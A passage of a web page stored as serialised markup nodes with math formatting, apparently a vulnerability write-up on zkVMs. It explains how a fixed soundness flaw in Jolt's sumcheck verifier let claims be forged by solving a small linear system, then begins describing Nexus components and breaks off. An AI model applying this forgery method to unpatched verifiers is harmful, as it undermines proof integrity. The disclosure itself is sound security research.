",{"type":23,"tag":71,"props":117330,"children":117332},{"className":117331},[6318,6319],[117333],{"type":23,"tag":230,"props":117334,"children":117336},{"className":117335},[6324],[117337],{"type":23,"tag":230,"props":117338,"children":117340},{"className":117339,"ariaHidden":1726},[6329],[117341],{"type":23,"tag":230,"props":117342,"children":117344},{"className":117343},[6334],[117345,117349],{"type":23,"tag":230,"props":117346,"children":117348},{"className":117347,"style":112823},[6339],[],{"type":23,"tag":230,"props":117350,"children":117352},{"className":117351},[6345],[117353,117358],{"type":23,"tag":230,"props":117354,"children":117356},{"className":117355,"style":95060},[6345,23902],[117357],{"type":29,"value":95063},{"type":23,"tag":230,"props":117359,"children":117361},{"className":117360},[6362],[117362],{"type":23,"tag":230,"props":117363,"children":117365},{"className":117364},[6367,23956],[117366,117395],{"type":23,"tag":230,"props":117367,"children":117369},{"className":117368},[6372],[117370,117390],{"type":23,"tag":230,"props":117371,"children":117373},{"className":117372,"style":95355},[6377],[117374],{"type":23,"tag":230,"props":117375,"children":117376},{"style":112255},[117377,117381],{"type":23,"tag":230,"props":117378,"children":117380},{"className":117379,"style":6387},[6386],[],{"type":23,"tag":230,"props":117382,"children":117384},{"className":117383},[6392,6393,6394,6395],[117385],{"type":23,"tag":230,"props":117386,"children":117388},{"className":117387},[6345,23902,6395],[117389],{"type":29,"value":6074},{"type":23,"tag":230,"props":117391,"children":117393},{"className":117392},[24059],[117394],{"type":29,"value":24062},{"type":23,"tag":230,"props":117396,"children":117398},{"className":117397},[6372],[117399],{"type":23,"tag":230,"props":117400,"children":117402},{"className":117401,"style":94909},[6377],[117403],{"type":23,"tag":230,"props":117404,"children":117405},{},[],{"type":29,"value":218},{"type":23,"tag":32,"props":117408,"children":117409},{},[117410],{"type":23,"tag":71,"props":117411,"children":117413},{"className":117412},[6318,6319],[117414],{"type":23,"tag":230,"props":117415,"children":117417},{"className":117416},[6324],[117418],{"type":23,"tag":230,"props":117419,"children":117421},{"className":117420,"ariaHidden":1726},[6329],[117422,117452,117593],{"type":23,"tag":230,"props":117423,"children":117425},{"className":117424},[6334],[117426,117430,117439,117443,117448],{"type":23,"tag":230,"props":117427,"children":117429},{"className":117428,"style":94741},[6339],[],{"type":23,"tag":230,"props":117431,"children":117433},{"className":117432},[6345,29],[117434],{"type":23,"tag":230,"props":117435,"children":117437},{"className":117436},[6345],[117438],{"type":29,"value":117326},{"type":23,"tag":230,"props":117440,"children":117442},{"className":117441,"style":6524},[6426],[],{"type":23,"tag":230,"props":117444,"children":117446},{"className":117445},[6529],[117447],{"type":29,"value":863},{"type":23,"tag":230,"props":117449,"children":117451},{"className":117450,"style":6524},[6426],[],{"type":23,"tag":230,"props":117453,"children":117455},{"className":117454},[6334],[117456,117461,117518,117522,117580,117584,117589],{"type":23,"tag":230,"props":117457,"children":117460},{"className":117458,"style":117459},[6339],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":23,"tag":230,"props":117462,"children":117464},{"className":117463},[23938],[117465,117470],{"type":23,"tag":230,"props":117466,"children":117468},{"className":117467,"style":23945},[23938,23943,23944],[117469],{"type":29,"value":110621},{"type":23,"tag":230,"props":117471,"children":117473},{"className":117472},[6362],[117474],{"type":23,"tag":230,"props":117475,"children":117477},{"className":117476},[6367,23956],[117478,117507],{"type":23,"tag":230,"props":117479,"children":117481},{"className":117480},[6372],[117482,117502],{"type":23,"tag":230,"props":117483,"children":117485},{"className":117484,"style":116033},[6377],[117486],{"type":23,"tag":230,"props":117487,"children":117488},{"style":23969},[117489,117493],{"type":23,"tag":230,"props":117490,"children":117492},{"className":117491,"style":6387},[6386],[],{"type":23,"tag":230,"props":117494,"children":117496},{"className":117495},[6392,6393,6394,6395],[117497],{"type":23,"tag":230,"props":117498,"children":117500},{"className":117499},[6345,23902,6395],[117501],{"type":29,"value":6074},{"type":23,"tag":230,"props":117503,"children":117505},{"className":117504},[24059],[117506],{"type":29,"value":24062},{"type":23,"tag":230,"props":117508,"children":117510},{"className":117509},[6372],[117511],{"type":23,"tag":230,"props":117512,"children":117514},{"className":117513,"style":116313},[6377],[117515],{"type":23,"tag":230,"props":117516,"children":117517},{},[],{"type":23,"tag":230,"props":117519,"children":117521},{"className":117520,"style":6465},[6426],[],{"type":23,"tag":230,"props":117523,"children":117525},{"className":117524},[6345],[117526,117531],{"type":23,"tag":230,"props":117527,"children":117529},{"className":117528,"style":116914},[6345,23902],[117530],{"type":29,"value":116917},{"type":23,"tag":230,"props":117532,"children":117534},{"className":117533},[6362],[117535],{"type":23,"tag":230,"props":117536,"children":117538},{"className":117537},[6367,23956],[117539,117569],{"type":23,"tag":230,"props":117540,"children":117542},{"className":117541},[6372],[117543,117564],{"type":23,"tag":230,"props":117544,"children":117546},{"className":117545,"style":95355},[6377],[117547],{"type":23,"tag":230,"props":117548,"children":117550},{"style":117549},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[117551,117555],{"type":23,"tag":230,"props":117552,"children":117554},{"className":117553,"style":6387},[6386],[],{"type":23,"tag":230,"props":117556,"children":117558},{"className":117557},[6392,6393,6394,6395],[117559],{"type":23,"tag":230,"props":117560,"children":117562},{"className":117561},[6345,23902,6395],[117563],{"type":29,"value":6074},{"type":23,"tag":230,"props":117565,"children":117567},{"className":117566},[24059],[117568],{"type":29,"value":24062},{"type":23,"tag":230,"props":117570,"children":117572},{"className":117571},[6372],[117573],{"type":23,"tag":230,"props":117574,"children":117576},{"className":117575,"style":94909},[6377],[117577],{"type":23,"tag":230,"props":117578,"children":117579},{},[],{"type":23,"tag":230,"props":117581,"children":117583},{"className":117582,"style":6427},[6426],[],{"type":23,"tag":230,"props":117585,"children":117587},{"className":117586},[6432],[117588],{"type":29,"value":113088},{"type":23,"tag":230,"props":117590,"children":117592},{"className":117591,"style":6427},[6426],[],{"type":23,"tag":230,"props":117594,"children":117596},{"className":117595},[6334],[117597,117601],{"type":23,"tag":230,"props":117598,"children":117600},{"className":117599,"style":112823},[6339],[],{"type":23,"tag":230,"props":117602,"children":117604},{"className":117603},[6345],[117605,117610],{"type":23,"tag":230,"props":117606,"children":117608},{"className":117607,"style":95060},[6345,23902],[117609],{"type":29,"value":95063},{"type":23,"tag":230,"props":117611,"children":117613},{"className":117612},[6362],[117614],{"type":23,"tag":230,"props":117615,"children":117617},{"className":117616},[6367,23956],[117618,117647],{"type":23,"tag":230,"props":117619,"children":117621},{"className":117620},[6372],[117622,117642],{"type":23,"tag":230,"props":117623,"children":117625},{"className":117624,"style":95355},[6377],[117626],{"type":23,"tag":230,"props":117627,"children":117628},{"style":112255},[117629,117633],{"type":23,"tag":230,"props":117630,"children":117632},{"className":117631,"style":6387},[6386],[],{"type":23,"tag":230,"props":117634,"children":117636},{"className":117635},[6392,6393,6394,6395],[117637],{"type":23,"tag":230,"props":117638,"children":117640},{"className":117639},[6345,23902,6395],[117641],{"type":29,"value":6074},{"type":23,"tag":230,"props":117643,"children":117645},{"className":117644},[24059],[117646],{"type":29,"value":24062},{"type":23,"tag":230,"props":117648,"children":117650},{"className":117649},[6372],[117651],{"type":23,"tag":230,"props":117652,"children":117654},{"className":117653,"style":94909},[6377],[117655],{"type":23,"tag":230,"props":117656,"children":117657},{},[],{"type":23,"tag":32,"props":117659,"children":117660},{},[117661,117663,117740,117742,117747,117749,117826,117828,117905,117907,117984],{"type":29,"value":117662},"where ",{"type":23,"tag":71,"props":117664,"children":117666},{"className":117665},[6318,6319],[117667],{"type":23,"tag":230,"props":117668,"children":117670},{"className":117669},[6324],[117671],{"type":23,"tag":230,"props":117672,"children":117674},{"className":117673,"ariaHidden":1726},[6329],[117675],{"type":23,"tag":230,"props":117676,"children":117678},{"className":117677},[6334],[117679,117683],{"type":23,"tag":230,"props":117680,"children":117682},{"className":117681,"style":111796},[6339],[],{"type":23,"tag":230,"props":117684,"children":117686},{"className":117685},[6345],[117687,117692],{"type":23,"tag":230,"props":117688,"children":117690},{"className":117689,"style":116914},[6345,23902],[117691],{"type":29,"value":116917},{"type":23,"tag":230,"props":117693,"children":117695},{"className":117694},[6362],[117696],{"type":23,"tag":230,"props":117697,"children":117699},{"className":117698},[6367,23956],[117700,117729],{"type":23,"tag":230,"props":117701,"children":117703},{"className":117702},[6372],[117704,117724],{"type":23,"tag":230,"props":117705,"children":117707},{"className":117706,"style":95355},[6377],[117708],{"type":23,"tag":230,"props":117709,"children":117710},{"style":117549},[117711,117715],{"type":23,"tag":230,"props":117712,"children":117714},{"className":117713,"style":6387},[6386],[],{"type":23,"tag":230,"props":117716,"children":117718},{"className":117717},[6392,6393,6394,6395],[117719],{"type":23,"tag":230,"props":117720,"children":117722},{"className":117721},[6345,23902,6395],[117723],{"type":29,"value":6074},{"type":23,"tag":230,"props":117725,"children":117727},{"className":117726},[24059],[117728],{"type":29,"value":24062},{"type":23,"tag":230,"props":117730,"children":117732},{"className":117731},[6372],[117733],{"type":23,"tag":230,"props":117734,"children":117736},{"className":117735,"style":94909},[6377],[117737],{"type":23,"tag":230,"props":117738,"children":117739},{},[],{"type":29,"value":117741}," are random coefficients derived from the transcript. Since ",{"type":23,"tag":71,"props":117743,"children":117745},{"className":117744},[],[117746],{"type":29,"value":117290},{"type":29,"value":117748}," (containing ",{"type":23,"tag":71,"props":117750,"children":117752},{"className":117751},[6318,6319],[117753],{"type":23,"tag":230,"props":117754,"children":117756},{"className":117755},[6324],[117757],{"type":23,"tag":230,"props":117758,"children":117760},{"className":117759,"ariaHidden":1726},[6329],[117761],{"type":23,"tag":230,"props":117762,"children":117764},{"className":117763},[6334],[117765,117769],{"type":23,"tag":230,"props":117766,"children":117768},{"className":117767,"style":112823},[6339],[],{"type":23,"tag":230,"props":117770,"children":117772},{"className":117771},[6345],[117773,117778],{"type":23,"tag":230,"props":117774,"children":117776},{"className":117775,"style":95060},[6345,23902],[117777],{"type":29,"value":95063},{"type":23,"tag":230,"props":117779,"children":117781},{"className":117780},[6362],[117782],{"type":23,"tag":230,"props":117783,"children":117785},{"className":117784},[6367,23956],[117786,117815],{"type":23,"tag":230,"props":117787,"children":117789},{"className":117788},[6372],[117790,117810],{"type":23,"tag":230,"props":117791,"children":117793},{"className":117792,"style":95355},[6377],[117794],{"type":23,"tag":230,"props":117795,"children":117796},{"style":112255},[117797,117801],{"type":23,"tag":230,"props":117798,"children":117800},{"className":117799,"style":6387},[6386],[],{"type":23,"tag":230,"props":117802,"children":117804},{"className":117803},[6392,6393,6394,6395],[117805],{"type":23,"tag":230,"props":117806,"children":117808},{"className":117807},[6345,23902,6395],[117809],{"type":29,"value":6074},{"type":23,"tag":230,"props":117811,"children":117813},{"className":117812},[24059],[117814],{"type":29,"value":24062},{"type":23,"tag":230,"props":117816,"children":117818},{"className":117817},[6372],[117819],{"type":23,"tag":230,"props":117820,"children":117822},{"className":117821,"style":94909},[6377],[117823],{"type":23,"tag":230,"props":117824,"children":117825},{},[],{"type":29,"value":117827},") were not in the transcript, the ",{"type":23,"tag":71,"props":117829,"children":117831},{"className":117830},[6318,6319],[117832],{"type":23,"tag":230,"props":117833,"children":117835},{"className":117834},[6324],[117836],{"type":23,"tag":230,"props":117837,"children":117839},{"className":117838,"ariaHidden":1726},[6329],[117840],{"type":23,"tag":230,"props":117841,"children":117843},{"className":117842},[6334],[117844,117848],{"type":23,"tag":230,"props":117845,"children":117847},{"className":117846,"style":111796},[6339],[],{"type":23,"tag":230,"props":117849,"children":117851},{"className":117850},[6345],[117852,117857],{"type":23,"tag":230,"props":117853,"children":117855},{"className":117854,"style":116914},[6345,23902],[117856],{"type":29,"value":116917},{"type":23,"tag":230,"props":117858,"children":117860},{"className":117859},[6362],[117861],{"type":23,"tag":230,"props":117862,"children":117864},{"className":117863},[6367,23956],[117865,117894],{"type":23,"tag":230,"props":117866,"children":117868},{"className":117867},[6372],[117869,117889],{"type":23,"tag":230,"props":117870,"children":117872},{"className":117871,"style":95355},[6377],[117873],{"type":23,"tag":230,"props":117874,"children":117875},{"style":117549},[117876,117880],{"type":23,"tag":230,"props":117877,"children":117879},{"className":117878,"style":6387},[6386],[],{"type":23,"tag":230,"props":117881,"children":117883},{"className":117882},[6392,6393,6394,6395],[117884],{"type":23,"tag":230,"props":117885,"children":117887},{"className":117886},[6345,23902,6395],[117888],{"type":29,"value":6074},{"type":23,"tag":230,"props":117890,"children":117892},{"className":117891},[24059],[117893],{"type":29,"value":24062},{"type":23,"tag":230,"props":117895,"children":117897},{"className":117896},[6372],[117898],{"type":23,"tag":230,"props":117899,"children":117901},{"className":117900,"style":94909},[6377],[117902],{"type":23,"tag":230,"props":117903,"children":117904},{},[],{"type":29,"value":117906}," values are independent of ",{"type":23,"tag":71,"props":117908,"children":117910},{"className":117909},[6318,6319],[117911],{"type":23,"tag":230,"props":117912,"children":117914},{"className":117913},[6324],[117915],{"type":23,"tag":230,"props":117916,"children":117918},{"className":117917,"ariaHidden":1726},[6329],[117919],{"type":23,"tag":230,"props":117920,"children":117922},{"className":117921},[6334],[117923,117927],{"type":23,"tag":230,"props":117924,"children":117926},{"className":117925,"style":112823},[6339],[],{"type":23,"tag":230,"props":117928,"children":117930},{"className":117929},[6345],[117931,117936],{"type":23,"tag":230,"props":117932,"children":117934},{"className":117933,"style":95060},[6345,23902],[117935],{"type":29,"value":95063},{"type":23,"tag":230,"props":117937,"children":117939},{"className":117938},[6362],[117940],{"type":23,"tag":230,"props":117941,"children":117943},{"className":117942},[6367,23956],[117944,117973],{"type":23,"tag":230,"props":117945,"children":117947},{"className":117946},[6372],[117948,117968],{"type":23,"tag":230,"props":117949,"children":117951},{"className":117950,"style":95355},[6377],[117952],{"type":23,"tag":230,"props":117953,"children":117954},{"style":112255},[117955,117959],{"type":23,"tag":230,"props":117956,"children":117958},{"className":117957,"style":6387},[6386],[],{"type":23,"tag":230,"props":117960,"children":117962},{"className":117961},[6392,6393,6394,6395],[117963],{"type":23,"tag":230,"props":117964,"children":117966},{"className":117965},[6345,23902,6395],[117967],{"type":29,"value":6074},{"type":23,"tag":230,"props":117969,"children":117971},{"className":117970},[24059],[117972],{"type":29,"value":24062},{"type":23,"tag":230,"props":117974,"children":117976},{"className":117975},[6372],[117977],{"type":23,"tag":230,"props":117978,"children":117980},{"className":117979,"style":94909},[6377],[117981],{"type":23,"tag":230,"props":117982,"children":117983},{},[],{"type":29,"value":312},{"type":23,"tag":32,"props":117986,"children":117987},{},[117988],{"type":23,"tag":2302,"props":117989,"children":117990},{},[117991],{"type":29,"value":117992},"Why it's linear:",{"type":23,"tag":32,"props":117994,"children":117995},{},[117996,117998],{"type":29,"value":117997},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":23,"tag":71,"props":117999,"children":118001},{"className":118000},[6318,6319],[118002],{"type":23,"tag":230,"props":118003,"children":118005},{"className":118004},[6324],[118006],{"type":23,"tag":230,"props":118007,"children":118009},{"className":118008,"ariaHidden":1726},[6329],[118010],{"type":23,"tag":230,"props":118011,"children":118013},{"className":118012},[6334],[118014,118018],{"type":23,"tag":230,"props":118015,"children":118017},{"className":118016,"style":23897},[6339],[],{"type":23,"tag":230,"props":118019,"children":118021},{"className":118020,"style":95060},[6345,23902],[118022],{"type":29,"value":95063},{"type":23,"tag":32,"props":118024,"children":118025},{},[118026],{"type":23,"tag":71,"props":118027,"children":118029},{"className":118028},[6318,6319],[118030],{"type":23,"tag":230,"props":118031,"children":118033},{"className":118032},[6324],[118034],{"type":23,"tag":230,"props":118035,"children":118037},{"className":118036,"ariaHidden":1726},[6329],[118038,118128,118154,118180],{"type":23,"tag":230,"props":118039,"children":118041},{"className":118040},[6334],[118042,118046,118115,118119,118124],{"type":23,"tag":230,"props":118043,"children":118045},{"className":118044,"style":112823},[6339],[],{"type":23,"tag":230,"props":118047,"children":118049},{"className":118048},[6345],[118050,118056],{"type":23,"tag":230,"props":118051,"children":118053},{"className":118052,"style":24434},[6345,23902],[118054],{"type":29,"value":118055},"C",{"type":23,"tag":230,"props":118057,"children":118059},{"className":118058},[6362],[118060],{"type":23,"tag":230,"props":118061,"children":118063},{"className":118062},[6367,23956],[118064,118104],{"type":23,"tag":230,"props":118065,"children":118067},{"className":118066},[6372],[118068,118099],{"type":23,"tag":230,"props":118069,"children":118072},{"className":118070,"style":118071},[6377],"height:0.3361em;",[118073],{"type":23,"tag":230,"props":118074,"children":118076},{"style":118075},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[118077,118081],{"type":23,"tag":230,"props":118078,"children":118080},{"className":118079,"style":6387},[6386],[],{"type":23,"tag":230,"props":118082,"children":118084},{"className":118083},[6392,6393,6394,6395],[118085],{"type":23,"tag":230,"props":118086,"children":118088},{"className":118087},[6345,6395],[118089],{"type":23,"tag":230,"props":118090,"children":118092},{"className":118091},[6345,29,6395],[118093],{"type":23,"tag":230,"props":118094,"children":118096},{"className":118095},[6345,6395],[118097],{"type":29,"value":118098},"final",{"type":23,"tag":230,"props":118100,"children":118102},{"className":118101},[24059],[118103],{"type":29,"value":24062},{"type":23,"tag":230,"props":118105,"children":118107},{"className":118106},[6372],[118108],{"type":23,"tag":230,"props":118109,"children":118111},{"className":118110,"style":94909},[6377],[118112],{"type":23,"tag":230,"props":118113,"children":118114},{},[],{"type":23,"tag":230,"props":118116,"children":118118},{"className":118117,"style":6524},[6426],[],{"type":23,"tag":230,"props":118120,"children":118122},{"className":118121},[6529],[118123],{"type":29,"value":863},{"type":23,"tag":230,"props":118125,"children":118127},{"className":118126,"style":6524},[6426],[],{"type":23,"tag":230,"props":118129,"children":118131},{"className":118130},[6334],[118132,118136,118141,118145,118150],{"type":23,"tag":230,"props":118133,"children":118135},{"className":118134,"style":116909},[6339],[],{"type":23,"tag":230,"props":118137,"children":118139},{"className":118138},[6345,23902],[118140],{"type":29,"value":181},{"type":23,"tag":230,"props":118142,"children":118144},{"className":118143,"style":6427},[6426],[],{"type":23,"tag":230,"props":118146,"children":118148},{"className":118147},[6432],[118149],{"type":29,"value":113088},{"type":23,"tag":230,"props":118151,"children":118153},{"className":118152,"style":6427},[6426],[],{"type":23,"tag":230,"props":118155,"children":118157},{"className":118156},[6334],[118158,118162,118167,118171,118176],{"type":23,"tag":230,"props":118159,"children":118161},{"className":118160,"style":116938},[6339],[],{"type":23,"tag":230,"props":118163,"children":118165},{"className":118164,"style":95060},[6345,23902],[118166],{"type":29,"value":95063},{"type":23,"tag":230,"props":118168,"children":118170},{"className":118169,"style":6427},[6426],[],{"type":23,"tag":230,"props":118172,"children":118174},{"className":118173},[6432],[118175],{"type":29,"value":6719},{"type":23,"tag":230,"props":118177,"children":118179},{"className":118178,"style":6427},[6426],[],{"type":23,"tag":230,"props":118181,"children":118183},{"className":118182},[6334],[118184,118188],{"type":23,"tag":230,"props":118185,"children":118187},{"className":118186,"style":94741},[6339],[],{"type":23,"tag":230,"props":118189,"children":118191},{"className":118190},[6345,23902],[118192],{"type":29,"value":5561},{"type":23,"tag":32,"props":118194,"children":118195},{},[118196,118197,118236,118238,118263,118265,118395,118397,118518],{"type":29,"value":117662},{"type":23,"tag":71,"props":118198,"children":118200},{"className":118199},[6318,6319],[118201],{"type":23,"tag":230,"props":118202,"children":118204},{"className":118203},[6324],[118205],{"type":23,"tag":230,"props":118206,"children":118208},{"className":118207,"ariaHidden":1726},[6329],[118209],{"type":23,"tag":230,"props":118210,"children":118212},{"className":118211},[6334],[118213,118217,118222,118227,118231],{"type":23,"tag":230,"props":118214,"children":118216},{"className":118215,"style":116881},[6339],[],{"type":23,"tag":230,"props":118218,"children":118220},{"className":118219},[6345,23902],[118221],{"type":29,"value":181},{"type":23,"tag":230,"props":118223,"children":118225},{"className":118224},[6458],[118226],{"type":29,"value":6461},{"type":23,"tag":230,"props":118228,"children":118230},{"className":118229,"style":6465},[6426],[],{"type":23,"tag":230,"props":118232,"children":118234},{"className":118233},[6345,23902],[118235],{"type":29,"value":5561},{"type":29,"value":118237}," are determined by the transcript (independent of ",{"type":23,"tag":71,"props":118239,"children":118241},{"className":118240},[6318,6319],[118242],{"type":23,"tag":230,"props":118243,"children":118245},{"className":118244},[6324],[118246],{"type":23,"tag":230,"props":118247,"children":118249},{"className":118248,"ariaHidden":1726},[6329],[118250],{"type":23,"tag":230,"props":118251,"children":118253},{"className":118252},[6334],[118254,118258],{"type":23,"tag":230,"props":118255,"children":118257},{"className":118256,"style":23897},[6339],[],{"type":23,"tag":230,"props":118259,"children":118261},{"className":118260,"style":95060},[6345,23902],[118262],{"type":29,"value":95063},{"type":29,"value":118264},"). The verifier checks that ",{"type":23,"tag":71,"props":118266,"children":118268},{"className":118267},[6318,6319],[118269],{"type":23,"tag":230,"props":118270,"children":118272},{"className":118271},[6324],[118273],{"type":23,"tag":230,"props":118274,"children":118276},{"className":118275,"ariaHidden":1726},[6329],[118277,118363],{"type":23,"tag":230,"props":118278,"children":118280},{"className":118279},[6334],[118281,118285,118350,118354,118359],{"type":23,"tag":230,"props":118282,"children":118284},{"className":118283,"style":112823},[6339],[],{"type":23,"tag":230,"props":118286,"children":118288},{"className":118287},[6345],[118289,118294],{"type":23,"tag":230,"props":118290,"children":118292},{"className":118291,"style":24434},[6345,23902],[118293],{"type":29,"value":118055},{"type":23,"tag":230,"props":118295,"children":118297},{"className":118296},[6362],[118298],{"type":23,"tag":230,"props":118299,"children":118301},{"className":118300},[6367,23956],[118302,118339],{"type":23,"tag":230,"props":118303,"children":118305},{"className":118304},[6372],[118306,118334],{"type":23,"tag":230,"props":118307,"children":118309},{"className":118308,"style":118071},[6377],[118310],{"type":23,"tag":230,"props":118311,"children":118312},{"style":118075},[118313,118317],{"type":23,"tag":230,"props":118314,"children":118316},{"className":118315,"style":6387},[6386],[],{"type":23,"tag":230,"props":118318,"children":118320},{"className":118319},[6392,6393,6394,6395],[118321],{"type":23,"tag":230,"props":118322,"children":118324},{"className":118323},[6345,6395],[118325],{"type":23,"tag":230,"props":118326,"children":118328},{"className":118327},[6345,29,6395],[118329],{"type":23,"tag":230,"props":118330,"children":118332},{"className":118331},[6345,6395],[118333],{"type":29,"value":118098},{"type":23,"tag":230,"props":118335,"children":118337},{"className":118336},[24059],[118338],{"type":29,"value":24062},{"type":23,"tag":230,"props":118340,"children":118342},{"className":118341},[6372],[118343],{"type":23,"tag":230,"props":118344,"children":118346},{"className":118345,"style":94909},[6377],[118347],{"type":23,"tag":230,"props":118348,"children":118349},{},[],{"type":23,"tag":230,"props":118351,"children":118353},{"className":118352,"style":6524},[6426],[],{"type":23,"tag":230,"props":118355,"children":118357},{"className":118356},[6529],[118358],{"type":29,"value":863},{"type":23,"tag":230,"props":118360,"children":118362},{"className":118361,"style":6524},[6426],[],{"type":23,"tag":230,"props":118364,"children":118366},{"className":118365},[6334],[118367,118371,118381,118386],{"type":23,"tag":230,"props":118368,"children":118370},{"className":118369,"style":96239},[6339],[],{"type":23,"tag":230,"props":118372,"children":118374},{"className":118373},[6345,29],[118375],{"type":23,"tag":230,"props":118376,"children":118378},{"className":118377},[6345],[118379],{"type":29,"value":118380},"expected",{"type":23,"tag":230,"props":118382,"children":118384},{"className":118383,"style":94826},[6345],[118385],{"type":29,"value":5422},{"type":23,"tag":230,"props":118387,"children":118389},{"className":118388},[6345,29],[118390],{"type":23,"tag":230,"props":118391,"children":118393},{"className":118392},[6345],[118394],{"type":29,"value":2229},{"type":29,"value":118396}," (from PCS opening), this becomes ",{"type":23,"tag":71,"props":118398,"children":118400},{"className":118399},[6318,6319],[118401],{"type":23,"tag":230,"props":118402,"children":118404},{"className":118403},[6324],[118405],{"type":23,"tag":230,"props":118406,"children":118408},{"className":118407,"ariaHidden":1726},[6329],[118409,118435,118461,118487],{"type":23,"tag":230,"props":118410,"children":118412},{"className":118411},[6334],[118413,118417,118422,118426,118431],{"type":23,"tag":230,"props":118414,"children":118416},{"className":118415,"style":116909},[6339],[],{"type":23,"tag":230,"props":118418,"children":118420},{"className":118419},[6345,23902],[118421],{"type":29,"value":181},{"type":23,"tag":230,"props":118423,"children":118425},{"className":118424,"style":6427},[6426],[],{"type":23,"tag":230,"props":118427,"children":118429},{"className":118428},[6432],[118430],{"type":29,"value":113088},{"type":23,"tag":230,"props":118432,"children":118434},{"className":118433,"style":6427},[6426],[],{"type":23,"tag":230,"props":118436,"children":118438},{"className":118437},[6334],[118439,118443,118448,118452,118457],{"type":23,"tag":230,"props":118440,"children":118442},{"className":118441,"style":116938},[6339],[],{"type":23,"tag":230,"props":118444,"children":118446},{"className":118445,"style":95060},[6345,23902],[118447],{"type":29,"value":95063},{"type":23,"tag":230,"props":118449,"children":118451},{"className":118450,"style":6427},[6426],[],{"type":23,"tag":230,"props":118453,"children":118455},{"className":118454},[6432],[118456],{"type":29,"value":6719},{"type":23,"tag":230,"props":118458,"children":118460},{"className":118459,"style":6427},[6426],[],{"type":23,"tag":230,"props":118462,"children":118464},{"className":118463},[6334],[118465,118469,118474,118478,118483],{"type":23,"tag":230,"props":118466,"children":118468},{"className":118467,"style":94741},[6339],[],{"type":23,"tag":230,"props":118470,"children":118472},{"className":118471},[6345,23902],[118473],{"type":29,"value":5561},{"type":23,"tag":230,"props":118475,"children":118477},{"className":118476,"style":6524},[6426],[],{"type":23,"tag":230,"props":118479,"children":118481},{"className":118480},[6529],[118482],{"type":29,"value":863},{"type":23,"tag":230,"props":118484,"children":118486},{"className":118485,"style":6524},[6426],[],{"type":23,"tag":230,"props":118488,"children":118490},{"className":118489},[6334],[118491,118495,118504,118509],{"type":23,"tag":230,"props":118492,"children":118494},{"className":118493,"style":96239},[6339],[],{"type":23,"tag":230,"props":118496,"children":118498},{"className":118497},[6345,29],[118499],{"type":23,"tag":230,"props":118500,"children":118502},{"className":118501},[6345],[118503],{"type":29,"value":118380},{"type":23,"tag":230,"props":118505,"children":118507},{"className":118506,"style":94826},[6345],[118508],{"type":29,"value":5422},{"type":23,"tag":230,"props":118510,"children":118512},{"className":118511},[6345,29],[118513],{"type":23,"tag":230,"props":118514,"children":118516},{"className":118515},[6345],[118517],{"type":29,"value":2229},{"type":29,"value":312},{"type":23,"tag":32,"props":118520,"children":118521},{},[118522],{"type":29,"value":118523},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":23,"tag":32,"props":118525,"children":118526},{},[118527],{"type":29,"value":118528},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":23,"tag":32,"props":118530,"children":118531},{},[118532,118537,118539],{"type":23,"tag":2302,"props":118533,"children":118534},{},[118535],{"type":29,"value":118536},"Status:",{"type":29,"value":118538}," Fixed on October 3, 2025 via ",{"type":23,"tag":181,"props":118540,"children":118543},{"href":118541,"rel":118542},"https://github.com/a16z/jolt/pull/981",[185],[118544],{"type":29,"value":118545},"PR #981",{"type":23,"tag":21113,"props":118547,"children":118548},{},[],{"type":23,"tag":59,"props":118550,"children":118552},{"id":118551},"nexus",[118553],{"type":29,"value":109645},{"type":23,"tag":32,"props":118555,"children":118556},{},[118557],{"type":29,"value":118558},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":23,"tag":32,"props":118560,"children":118561},{},[118562,118564,118569],{"type":29,"value":118563},"Nexus splits verification into ",{"type":23,"tag":2302,"props":118565,"children":118566},{},[118567],{"type":29,"value":118568},"components",{"type":29,"value":118570}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":23,"tag":32,"props":118572,"children":118573},{},[118574,118576,118581],{"type":29,"value":118575},"Each component emits and consumes lookup tuples. The component's ",{"type":23,"tag":71,"props":118577,"children":118579},{"className":118578},[],[118580],{"type":29,"value":116690},{"type":29,"value":118582}," summarizes its net contribution:",{"type":23,"tag":32,"props":118584,"children":118585},{},[118586],{"type":23,"tag":71,"props":118587,"children":118589},{"className":118588},[6318,6319],[118590],{"type":23,"tag":230,"props":118591,"children":118593},{"className":118592},[6324],[118594],{"type":23,"tag":230,"props":118595,"children":118597},{"className":118596,"ariaHidden":1726},[6329],[118598,118694,118943],{"type":23,"tag":230,"props":118599,"children":118601},{"className":118600},[6334],[118602,118606,118615,118620,118681,118685,118690],{"type":23,"tag":230,"props":118603,"children":118605},{"className":118604,"style":96239},[6339],[],{"type":23,"tag":230,"props":118607,"children":118609},{"className":118608},[6345,29],[118610],{"type":23,"tag":230,"props":118611,"children":118613},{"className":118612},[6345],[118614],{"type":29,"value":115919},{"type":23,"tag":230,"props":118616,"children":118618},{"className":118617,"style":94826},[6345],[118619],{"type":29,"value":5422},{"type":23,"tag":230,"props":118621,"children":118623},{"className":118622},[6345],[118624,118633],{"type":23,"tag":230,"props":118625,"children":118627},{"className":118626},[6345,29],[118628],{"type":23,"tag":230,"props":118629,"children":118631},{"className":118630},[6345],[118632],{"type":29,"value":78411},{"type":23,"tag":230,"props":118634,"children":118636},{"className":118635},[6362],[118637],{"type":23,"tag":230,"props":118638,"children":118640},{"className":118639},[6367,23956],[118641,118670],{"type":23,"tag":230,"props":118642,"children":118644},{"className":118643},[6372],[118645,118665],{"type":23,"tag":230,"props":118646,"children":118648},{"className":118647,"style":95355},[6377],[118649],{"type":23,"tag":230,"props":118650,"children":118651},{"style":115956},[118652,118656],{"type":23,"tag":230,"props":118653,"children":118655},{"className":118654,"style":6387},[6386],[],{"type":23,"tag":230,"props":118657,"children":118659},{"className":118658},[6392,6393,6394,6395],[118660],{"type":23,"tag":230,"props":118661,"children":118663},{"className":118662},[6345,23902,6395],[118664],{"type":29,"value":6074},{"type":23,"tag":230,"props":118666,"children":118668},{"className":118667},[24059],[118669],{"type":29,"value":24062},{"type":23,"tag":230,"props":118671,"children":118673},{"className":118672},[6372],[118674],{"type":23,"tag":230,"props":118675,"children":118677},{"className":118676,"style":94909},[6377],[118678],